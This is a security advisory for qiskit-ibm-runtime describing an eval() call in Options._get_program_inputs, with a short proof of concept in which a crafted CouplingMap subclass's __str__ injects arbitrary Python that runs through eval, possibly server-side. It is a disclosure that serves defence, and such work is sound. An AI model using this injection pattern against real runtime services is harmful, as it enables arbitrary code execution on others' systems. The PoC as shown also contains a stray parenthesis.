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GHSA-cq96-9974-v8hm

LowCVSS 2.8 / 10
Published Mar 20, 2024·Last modified Nov 29, 2024
Affected Components(0)

No affected components available

Description

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Risk Scores
Base Score
2.8

The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the integrity of the data.

Threat Intelligence
2.6

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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